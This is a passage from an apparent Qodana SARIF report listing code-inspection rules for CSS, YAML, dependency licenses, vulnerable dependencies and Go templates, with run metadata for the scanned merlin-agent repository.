"text": "Reports a CSS class or an element IDs that appears in selectors but is not used in HTML. Note that complete inspection results are available only when running it via Code | Inspect Code or Code | Analyze Code | Run Inspection by Name. Due to performance reasons, style sheet files are not inspected on the fly.",
"markdown": "Reports a CSS class or an element IDs that appears in selectors but is not used in HTML.\n\n\nNote that complete inspection results are available only when running it via **Code \\| Inspect Code** or\n**Code \\| Analyze Code \\| Run Inspection by Name**.\nDue to performance reasons, style sheet files are not inspected on the fly."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssUnusedSymbol",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS",
"index": 25,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssDeprecatedValue",
"shortDescription": {
"text": "Deprecated value"
},
"fullDescription": {
"text": "Reports a deprecated CSS value. Suggests replacing the deprecated value with its valid equivalent.",
"markdown": "Reports a deprecated CSS value. Suggests replacing the deprecated value with its valid equivalent."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssDeprecatedValue",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS",
"index": 25,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssNonIntegerLengthInPixels",
"shortDescription": {
"text": "Non-integer length in pixels"
},
"fullDescription": {
"text": "Reports a non-integer length in pixels. Example: 'width: 3.14px'",
"markdown": "Reports a non-integer length in pixels.\n\n**Example:**\n\n width: 3.14px\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "CssNonIntegerLengthInPixels",
"ideaSeverity": "WEAK WARNING",
"qodanaSeverity": "Moderate"
}
},
"relationships": [
{
"target": {
"id": "CSS/Probable bugs",
"index": 45,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidImport",
"shortDescription": {
"text": "Misplaced @import"
},
"fullDescription": {
"text": "Reports a misplaced '@import' statement. According to the specification, '@import' rules must precede all other types of rules, except '@charset' rules.",
"markdown": "Reports a misplaced `@import` statement.\n\n\nAccording to the [specification](https://developer.mozilla.org/en-US/docs/Web/CSS/@import),\n`@import` rules must precede all other types of rules, except `@charset` rules."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssInvalidImport",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidAtRule",
"shortDescription": {
"text": "Unknown at-rule"
},
"fullDescription": {
"text": "Reports an unknown CSS at-rule.",
"markdown": "Reports an unknown [CSS at-rule](https://developer.mozilla.org/en-US/docs/Web/CSS/At-rule)."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssInvalidAtRule",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssUnresolvedCustomProperty",
"shortDescription": {
"text": "Unresolved custom property"
},
"fullDescription": {
"text": "Reports an unresolved reference to a custom property among the arguments of the 'var()' function.",
"markdown": "Reports an unresolved reference to a [custom property](https://developer.mozilla.org/en-US/docs/Web/CSS/--*) among the arguments of the `var()` function."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssUnresolvedCustomProperty",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssOverwrittenProperties",
"shortDescription": {
"text": "Overwritten property"
},
"fullDescription": {
"text": "Reports a duplicated CSS property within a ruleset. Respects shorthand properties. Example: '.foo {\n margin-bottom: 1px;\n margin-bottom: 1px; /* duplicates margin-bottom */\n margin: 0; /* overrides margin-bottom */\n}'",
"markdown": "Reports a duplicated CSS property within a ruleset. Respects shorthand properties.\n\n**Example:**\n\n\n .foo {\n margin-bottom: 1px;\n margin-bottom: 1px; /* duplicates margin-bottom */\n margin: 0; /* overrides margin-bottom */\n }\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssOverwrittenProperties",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS",
"index": 25,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssUnknownTarget",
"shortDescription": {
"text": "Unresolved file reference"
},
"fullDescription": {
"text": "Reports an unresolved file reference, for example, an incorrect path in an '@import' statement.",
"markdown": "Reports an unresolved file reference, for example, an incorrect path in an `@import` statement."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssUnknownTarget",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssNegativeValue",
"shortDescription": {
"text": "Negative property value"
},
"fullDescription": {
"text": "Reports a negative value of a CSS property that is not expected to be less than zero, for example, object width or height.",
"markdown": "Reports a negative value of a CSS property that is not expected to be less than zero, for example, object width or height."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssNegativeValue",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssNoGenericFontName",
"shortDescription": {
"text": "Missing generic font family name"
},
"fullDescription": {
"text": "Verifies that the 'font-family' property contains a generic font family name as a fallback alternative. Generic font family names are: 'serif', 'sans-serif', 'cursive', 'fantasy', and 'monospace'.",
"markdown": "Verifies that the [font-family](https://developer.mozilla.org/en-US/docs/Web/CSS/font-family) property contains a generic font family name as a fallback alternative.\n\n\nGeneric font family names are: `serif`, `sans-serif`, `cursive`, `fantasy`,\nand `monospace`."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssNoGenericFontName",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Probable bugs",
"index": 45,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssUnresolvedClassInComposesRule",
"shortDescription": {
"text": "Unresolved class in 'composes' rule"
},
"fullDescription": {
"text": "Reports a CSS class reference in the 'composes' rule that cannot be resolved to any valid target. Example: '.className {/* ... */}\n\n .otherClassName {\n composes: className;\n }'",
"markdown": "Reports a CSS class reference in the ['composes'](https://github.com/css-modules/css-modules#composition) rule that cannot be resolved to any valid target.\n\n**Example:**\n\n\n .className {/* ... */}\n\n .otherClassName {\n composes: className;\n }\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssUnresolvedClassInComposesRule",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidCharsetRule",
"shortDescription": {
"text": "Misplaced or incorrect @charset"
},
"fullDescription": {
"text": "Reports a misplaced '@charset' at-rule or an incorrect charset value.",
"markdown": "Reports a misplaced `@charset` at-rule or an incorrect charset value."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssInvalidCharsetRule",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssReplaceWithShorthandSafely",
"shortDescription": {
"text": "Properties may be safely replaced with a shorthand"
},
"fullDescription": {
"text": "Reports a set of longhand properties. Suggests replacing a complete set of longhand CSS properties with an equivalent shorthand form. For example, 4 properties: 'padding-top', 'padding-right', 'padding-bottom', and 'padding-left' can be safely replaced with a single 'padding' property. Note that this inspection doesn't show up if the set of longhand properties is incomplete (e.g. only 3 'padding-xxx' properties in a ruleset) because switching to a shorthand may change the result. For such cases consider the 'Properties may probably be replaced with a shorthand' inspection.",
"markdown": "Reports a set of longhand properties. Suggests replacing a complete set of longhand CSS properties with an equivalent shorthand form.\n\n\nFor example, 4 properties: `padding-top`, `padding-right`, `padding-bottom`, and\n`padding-left`\ncan be safely replaced with a single `padding` property.\n\n\nNote that this inspection doesn't show up if the set of longhand properties is incomplete\n(e.g. only 3 `padding-xxx` properties in a ruleset)\nbecause switching to a shorthand may change the result.\nFor such cases consider the 'Properties may probably be replaced with a shorthand'\ninspection."
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "CssReplaceWithShorthandSafely",
"ideaSeverity": "WEAK WARNING",
"qodanaSeverity": "Moderate"
}
},
"relationships": [
{
"target": {
"id": "CSS",
"index": 25,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssUnknownProperty",
"shortDescription": {
"text": "Unknown property"
},
"fullDescription": {
"text": "Reports an unknown CSS property or a property used in a wrong context. Add the unknown property to the 'Custom CSS properties' list to skip validation.",
"markdown": "Reports an unknown CSS property or a property used in a wrong context.\n\nAdd the unknown property to the 'Custom CSS properties' list to skip validation."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssUnknownProperty",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidPseudoSelector",
"shortDescription": {
"text": "Invalid pseudo-selector"
},
"fullDescription": {
"text": "Reports an incorrect CSS pseudo-class pseudo-element.",
"markdown": "Reports an incorrect CSS [pseudo-class](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes) [pseudo-element](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements)."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "CssInvalidPseudoSelector",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CssInvalidNestedSelector",
"shortDescription": {
"text": "Invalid nested selector"
},
"fullDescription": {
"text": "Reports a nested selector starting with an identifier or a functional notation.",
"markdown": "Reports a nested selector starting with an identifier or a functional notation."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CssInvalidNestedSelector",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "CSS/Invalid elements",
"index": 26,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "com.intellij.plugins.dependencyAnalysis",
"version": "233.13017",
"rules": [
{
"id": "CheckThirdPartySoftwareList",
"shortDescription": {
"text": "Check third party software list"
},
"fullDescription": {
"text": "Check project for possible problems: user's third party software list does not match the collected project metadata",
"markdown": "Check project for possible problems: user's third party software list does not match the collected project metadata"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CheckThirdPartySoftwareList",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Dependency analysis",
"index": 30,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CheckDependencyLicenses",
"shortDescription": {
"text": "Check dependency licenses"
},
"fullDescription": {
"text": "Check dependencies licenses for possible problems: missing or prohibited licenses, or other compliance issues",
"markdown": "Check dependencies licenses for possible problems: missing or prohibited licenses, or other compliance issues"
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "CheckDependencyLicenses",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Dependency analysis",
"index": 30,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "CheckModuleLicenses",
"shortDescription": {
"text": "Check module licenses"
},
"fullDescription": {
"text": "Check module licenses for possible problems: missing licenses or other compliance issues",
"markdown": "Check module licenses for possible problems: missing licenses or other compliance issues"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "CheckModuleLicenses",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Dependency analysis",
"index": 30,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "org.jetbrains.plugins.yaml",
"version": "233.13017",
"rules": [
{
"id": "YAMLSchemaValidation",
"shortDescription": {
"text": "Validation by JSON Schema"
},
"fullDescription": {
"text": "Reports inconsistencies between a YAML file and a JSON Schema if the schema is specified. Scheme example: '{\n \"properties\": {\n \"SomeNumberProperty\": {\n \"type\": \"number\"\n }\n }\n }' The following is an example with the corresponding warning: 'SomeNumberProperty: hello world'",
"markdown": "Reports inconsistencies between a YAML file and a JSON Schema if the schema is specified.\n\n**Scheme example:**\n\n\n {\n \"properties\": {\n \"SomeNumberProperty\": {\n \"type\": \"number\"\n }\n }\n }\n\n**The following is an example with the corresponding warning:**\n\n\n SomeNumberProperty: hello world\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "YAMLSchemaValidation",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "YAML",
"index": 32,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "YAMLIncompatibleTypes",
"shortDescription": {
"text": "Suspicious type mismatch"
},
"fullDescription": {
"text": "Reports a mismatch between a scalar value type in YAML file and types of the values in the similar positions. Example: 'myElements:\n - value1\n - value2\n - false # <- reported, because it is a boolean value, while other values are strings'",
"markdown": "Reports a mismatch between a scalar value type in YAML file and types of the values in the similar positions.\n\n**Example:**\n\n\n myElements:\n - value1\n - value2\n - false # <- reported, because it is a boolean value, while other values are strings\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "YAMLIncompatibleTypes",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "YAML",
"index": 32,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "YAMLUnresolvedAlias",
"shortDescription": {
"text": "Unresolved alias"
},
"fullDescription": {
"text": "Reports unresolved aliases in YAML files. Example: 'some_key: *unknown_alias'",
"markdown": "Reports unresolved aliases in YAML files.\n\n**Example:**\n\n\n some_key: *unknown_alias\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "YAMLUnresolvedAlias",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "YAML",
"index": 32,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "YAMLSchemaDeprecation",
"shortDescription": {
"text": "Deprecated YAML key"
},
"fullDescription": {
"text": "Reports deprecated keys in YAML files. Deprecation is checked only if there exists a JSON schema associated with the corresponding YAML file. Note that the deprecation mechanism is not defined in the JSON Schema specification yet, and this inspection uses a non-standard 'deprecationMessage' extension. Scheme deprecation example: '{\n \"properties\": {\n \"SomeDeprecatedProperty\": {\n \"deprecationMessage\": \"Baz\",\n \"description\": \"Foo bar\"\n }\n }\n }' The following is an example with the corresponding warning: 'SomeDeprecatedProperty: some value'",
"markdown": "Reports deprecated keys in YAML files.\n\nDeprecation is checked only if there exists a JSON schema associated with the corresponding YAML file.\n\nNote that the deprecation mechanism is not defined in the JSON Schema specification yet,\nand this inspection uses a non-standard `deprecationMessage` extension.\n\n**Scheme deprecation example:**\n\n\n {\n \"properties\": {\n \"SomeDeprecatedProperty\": {\n \"deprecationMessage\": \"Baz\",\n \"description\": \"Foo bar\"\n }\n }\n }\n\n**The following is an example with the corresponding warning:**\n\n\n SomeDeprecatedProperty: some value\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "YAMLSchemaDeprecation",
"ideaSeverity": "WEAK WARNING",
"qodanaSeverity": "Moderate"
}
},
"relationships": [
{
"target": {
"id": "YAML",
"index": 32,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "YAMLRecursiveAlias",
"shortDescription": {
"text": "Recursive alias"
},
"fullDescription": {
"text": "Reports recursion in YAML aliases. Alias can't be recursive and be used inside the data referenced by a corresponding anchor. Example: 'some_key: &some_anchor\n sub_key1: value1\n sub_key2: *some_anchor'",
"markdown": "Reports recursion in YAML aliases.\n\nAlias can't be recursive and be used inside the data referenced by a corresponding anchor.\n\n**Example:**\n\n\n some_key: &some_anchor\n sub_key1: value1\n sub_key2: *some_anchor\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "YAMLRecursiveAlias",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "YAML",
"index": 32,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "YAMLDuplicatedKeys",
"shortDescription": {
"text": "Duplicated YAML keys"
},
"fullDescription": {
"text": "Reports duplicated keys in YAML files. Example: 'same_key: some value\n same_key: another value'",
"markdown": "Reports duplicated keys in YAML files.\n\n**Example:**\n\n\n same_key: some value\n same_key: another value\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "YAMLDuplicatedKeys",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "YAML",
"index": 32,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "YAMLUnusedAnchor",
"shortDescription": {
"text": "Unused anchor"
},
"fullDescription": {
"text": "Reports unused anchors. Example: 'some_key: &some_anchor\n key1: value1'",
"markdown": "Reports unused anchors.\n\n**Example:**\n\n\n some_key: &some_anchor\n key1: value1\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "YAMLUnusedAnchor",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "YAML",
"index": 32,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "org.jetbrains.security.package-checker",
"version": "233.13017",
"rules": [
{
"id": "GoVulnerableCodeUsages",
"shortDescription": {
"text": "Vulnerable API usage"
},
"fullDescription": {
"text": "Reports usages of Vulnerable APIs of imported dependencies. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. Vulnerability data provided by Checkmarx (c).",
"markdown": "Reports usages of Vulnerable APIs of imported dependencies.\n\nFixing the reported problems helps prevent your software from being compromised by an attacker.\n\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\n\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c)."
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "GoVulnerableCodeUsages",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Go/Security",
"index": 36,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "VulnerableLibrariesLocal",
"shortDescription": {
"text": "Vulnerable declared dependency"
},
"fullDescription": {
"text": "Reports vulnerabilities in Gradle, Maven, NPM and PyPI dependencies declared in your project. A full list of Gradle and Maven dependencies is shown in the Project tool window under External Libraries. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. The quick-fixes available may suggest updating to a safe version or visiting the Checkmarx website to learn more about a particular vulnerability. Vulnerability data provided by Checkmarx (c).",
"markdown": "Reports vulnerabilities in Gradle, Maven, NPM and PyPI dependencies declared in your project.\nA full list of Gradle and Maven dependencies is shown in the Project tool window under External Libraries.\n\nFixing the reported problems helps prevent your software from being compromised by an attacker.\n\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\n\nThe quick-fixes available may suggest updating to a safe version or visiting the Checkmarx website to learn more about a particular vulnerability.\n\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c)."
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "VulnerableLibrariesLocal",
"cweIds": [
1395
],
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Security",
"index": 55,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "NpmVulnerableApiCode",
"shortDescription": {
"text": "Vulnerable API usage"
},
"fullDescription": {
"text": "Reports usages of Vulnerable APIs of imported dependencies. Fixing the reported problems helps prevent your software from being compromised by an attacker. To solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability. Vulnerability data provided by Checkmarx (c).",
"markdown": "Reports usages of Vulnerable APIs of imported dependencies.\n\nFixing the reported problems helps prevent your software from being compromised by an attacker.\n\nTo solve a problem, you can update to a version where the vulnerability is fixed (if available) or switch to a dependency that doesn't have the vulnerability.\n\nVulnerability data provided by [Checkmarx](https://checkmarx.com/) (c)."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "NpmVulnerableApiCode",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "JavaScript and TypeScript/Security",
"index": 60,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "org.intellij.intelliLang",
"version": "233.13017",
"rules": [
{
"id": "InjectedReferences",
"shortDescription": {
"text": "Injected references"
},
"fullDescription": {
"text": "Reports unresolved references injected by Language Injections. Example: '@Language(\"file-reference\")\n String fileName = \"/home/user/nonexistent.file\"; // highlighted if file doesn't exist'",
"markdown": "Reports unresolved references injected by [Language Injections](https://www.jetbrains.com/help/idea/using-language-injections.html).\n\nExample:\n\n\n @Language(\"file-reference\")\n String fileName = \"/home/user/nonexistent.file\"; // highlighted if file doesn't exist\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "InjectedReferences",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "General",
"index": 19,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "org.jetbrains.plugins.go-template",
"version": "233.13017",
"rules": [
{
"id": "GoTemplateUnknownVariable",
"shortDescription": {
"text": "Unknown variable"
},
"fullDescription": {
"text": "Reports usages of unknown variables in Go Templates. Parsing of such templates will cause panic because variables must be declared before usage. Example: '{{$v}} is zero. {{/* bad, $v is unknown */}}\n{{$v := 0}}{{$v}} is zero. {{/* good */}}'",
"markdown": "Reports usages of unknown variables in Go Templates.\n\nParsing of such templates will cause panic because variables must be declared before usage.\n\nExample:\n\n {{$v}} is zero. {{/* bad, $v is unknown */}}\n {{$v := 0}}{{$v}} is zero. {{/* good */}}\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "GoTemplateUnknownVariable",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "Go Template/General",
"index": 41,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "GoTemplateDuplicateVariable",
"shortDescription": {
"text": "Duplicate variable"
},
"fullDescription": {
"text": "Reports duplicate Go Template variables that are declared in the same scope. Duplicating a variable reassigns the existing variable with the same name. This operation might lead to different unpredicatable issues. Example: '{{$v := 0}}{{$v := 1}}{{$v}} is 0. {{/* evaluates to '1 is 0' */}}\n{{$v := 0}}{{$w := 1}}{{$v}} is 0. {{/* works as expected */}}'",
"markdown": "Reports duplicate Go Template variables that are declared in the same scope.\n\nDuplicating a variable reassigns the existing variable with the same name. This operation might lead to different\nunpredicatable issues.\n\nExample:\n\n {{$v := 0}}{{$v := 1}}{{$v}} is 0. {{/* evaluates to '1 is 0' */}}\n {{$v := 0}}{{$w := 1}}{{$v}} is 0. {{/* works as expected */}}\n"
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "GoTemplateDuplicateVariable",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "Go Template/General",
"index": 41,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "org.intellij.qodana",
"version": "233.13017",
"rules": [
{
"id": "GoCoverageInspection",
"shortDescription": {
"text": "Check GO source code coverage"
},
"fullDescription": {
"text": "Reports methods and files whose coverage is below a certain threshold.",
"markdown": "Reports methods and files whose coverage is below a certain threshold."
},
"defaultConfiguration": {
"enabled": true,
"level": "warning",
"parameters": {
"suppressToolId": "GoCoverageInspection",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Code Coverage",
"index": 44,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "QodanaSanity",
"shortDescription": {
"text": "Sanity"
},
"fullDescription": {
"text": "Reports issues essential to this file like syntax errors, unresolved methods and variables, etc...",
"markdown": "Reports issues essential to this file like syntax errors, unresolved methods and variables, etc..."
},
"defaultConfiguration": {
"enabled": false,
"level": "error",
"parameters": {
"suppressToolId": "QodanaSanity",
"ideaSeverity": "ERROR",
"qodanaSeverity": "Critical"
}
},
"relationships": [
{
"target": {
"id": "Qodana",
"index": 59,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
},
{
"name": "tanvd.grazi",
"version": "233.13017",
"rules": [
{
"id": "LanguageDetectionInspection",
"shortDescription": {
"text": "Natural language detection"
},
"fullDescription": {
"text": "Detects natural languages and suggests enabling corresponding grammar and spelling checks.",
"markdown": "Detects natural languages and suggests enabling corresponding grammar and spelling checks."
},
"defaultConfiguration": {
"enabled": false,
"level": "warning",
"parameters": {
"suppressToolId": "LanguageDetectionInspection",
"ideaSeverity": "WARNING",
"qodanaSeverity": "High"
}
},
"relationships": [
{
"target": {
"id": "Proofreading",
"index": 52,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
},
{
"id": "GrazieInspection",
"shortDescription": {
"text": "Grammar"
},
"fullDescription": {
"text": "Reports grammar mistakes in your text. You can configure the inspection in Settings | Editor | Natural Languages | Grammar.",
"markdown": "Reports grammar mistakes in your text. You can configure the inspection in [Settings \\| Editor \\| Natural Languages \\| Grammar](settings://reference.settingsdialog.project.grazie)."
},
"defaultConfiguration": {
"enabled": false,
"level": "note",
"parameters": {
"suppressToolId": "GrazieInspection",
"ideaSeverity": "GRAMMAR_ERROR",
"qodanaSeverity": "Info"
}
},
"relationships": [
{
"target": {
"id": "Proofreading",
"index": 52,
"toolComponent": {
"name": "QDGO"
}
},
"kinds": [
"superset"
]
}
]
}
],
"language": "en-US",
"contents": [
"localizedData",
"nonLocalizedData"
],
"isComprehensive": false
}
]
},
"invocations": [
{
"startTimeUtc": "2023-12-26T19:18:57.07910665Z",
"exitCode": 0,
"toolExecutionNotifications": [
{
"message": {
"text": "Reporting from [] 'sanity' inspections was suspended due to high problems count."
},
"level": "error",
"timeUtc": "2023-12-26T19:19:49.800302211Z",
"properties": {
"qodanaKind": "sanityFailure"
}
}
],
"executionSuccessful": true
}
],
"language": "en-US",
"versionControlProvenance": [
{
"repositoryUri": "https://github.com/Ne0nd0g/merlin-agent",
"revisionId": "24e41131cf54002c9ca79c2295e783168d1aa6d9",
"branch": "dev",
"properties": {
"repoUrl": "https://github.com/Ne0nd0g/merlin-agent",
